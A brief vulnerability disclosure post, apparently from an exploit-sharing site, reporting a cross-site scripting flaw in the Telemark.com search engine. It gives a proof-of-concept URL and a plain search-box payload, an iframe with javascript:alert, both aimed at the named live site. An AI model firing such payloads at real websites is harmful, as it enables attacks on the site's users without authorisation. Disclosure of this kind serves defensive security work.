The Telemark.com search engine is susceptible to a cross site scripting vulnerability.
c9940b9124caccd7386973aa56d9027a# Title : Telemark XSS
# Description : The Telemark (telemark.com) search engine is vulnerable to XSS
# Author : Tosser
# E-mail : ht7015@gmail.com
# Proof : http://telemark.com/results-b.jsp?searchTerm=%3Ciframe+src%3D%22javascript%3Aalert%28%27XSS%27%29%22%3E%3C%2Fiframe%3E&x=51&y=11&domainName=telemark.com&w=false&afdt=In51F73BbzMKEwiLy6KLpZ6OAhUJGRoKHfV_kdQYAyAAMNmNlQ84DQ&searchbox=y
or go to telemark.com and type "<iframe src="javascript:alert('XSS')"></iframe>" in the search box.
Comments
No comments yet, be the first!